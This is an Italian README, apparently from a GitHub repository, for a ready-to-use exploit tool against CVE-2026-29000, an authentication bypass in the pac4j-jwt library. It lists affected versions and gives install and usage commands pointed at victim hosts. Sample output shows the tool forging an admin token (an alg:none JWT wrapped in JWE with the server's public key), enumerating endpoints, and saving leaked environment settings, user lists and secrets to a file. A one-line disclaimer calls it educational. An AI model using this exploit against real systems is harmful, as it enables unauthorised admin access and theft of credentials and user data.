
CVE-2026-29000 – Bypass dell'autenticazione in pac4j-jwt (CVSS 10.0). Forgiatura admin con un clic tramite wrapping JWE con chiave pubblica. Espone configurazioni, utenti e segreti. Keep-alive, proxy, JWKS personalizzato. Strumento PoC Exploit a scopo didattico.
CVE-2026-29000 - Creazione di un admin con un clic tramite JWT alg:none + cifratura JWE
Questo exploit sfrutta CVE-2026-29000, una vulnerabilità critica con CVSS 10.0 nella libreria pac4j-jwt. Estraendo la chiave pubblica JWKS del server e falsificando un token JWE cifrato con alg: none, ottiene un completo bypass dell'autenticazione e concede privilegi amministrativi completi con un solo clic.
alg:none, lo avvolge con la chiave pubblica del server stesso| Libreria | Versioni interessate | Versioni corrette |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Avvertenza: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e attività red-team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Exploit One-Shot di base
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Argomento Breve Obbligatorio Predefinito Descrizione --target -t Sì - URL di destinazione (ad es., https://example.com:8443) --jwks -k No rilevamento automatico Percorso personalizzato dell'endpoint JWKS --output -o No Nessuno Salva il token JWE falsificato su file --leak -l No leaked_TIMESTAMP.txt Salva i dati divulgati su file --verbose -v No False Abilita l'output di debug --proxy -p No Nessuno Proxy HTTP/HTTPS --user-agent -ua No Mozilla/5.0... User-Agent personalizzato --no-keep-alive - No False Disabilita il keep-alive della sessione --delay - No 5.0 Intervallo di ping keep-alive (secondi) --max-retries - No 3 Numero massimo di tentativi per richiesta non riuscita --ssl-verify - No False Verifica i certificati SSL
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] FASE 1: Acquisizione della chiave pubblica RSA da JWKS [11:23:15] Sondaggio dell'endpoint JWKS... [11:23:16] JWKS trovato su /realms/master/protocol/openid-connect/certs [11:23:16] Chiave pubblica RSA estratta con successo
[11:23:16] FASE 2: Creazione del JWT con alg:none e crittografia in JWE [11:23:16] Token JWE falsificato (troncato): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Token salvato in backdoor.jwe
[11:23:16] FASE 3: Invio del JWE falsificato come token Bearer [11:23:17] ✓ Autenticazione riuscita! Accesso consentito a /api/users/me
[11:23:17] FASE 4: Enumerazione degli endpoint accessibili e divulgazione di dati sensibili [11:23:18] ✓ Divulgato: /actuator/env (stato 200) [11:23:18] ✓ Divulgato: /api/users (stato 200) [11:23:18] ✓ Divulgato: /api/secrets (stato 200) [11:23:18] ✓ Divulgato: /config/server (stato 200) [11:23:18] ✓ Acquisiti 4 endpoint sensibili → salvati in leak.txt
[11:23:18] Sessione keep-alive attiva (Ctrl+C per interrompere) [11:23:18] Token (JWE) valido per ~1 ora – riforgiare se scaduto
Dai un'occhiata ai miei altri repository di exploit: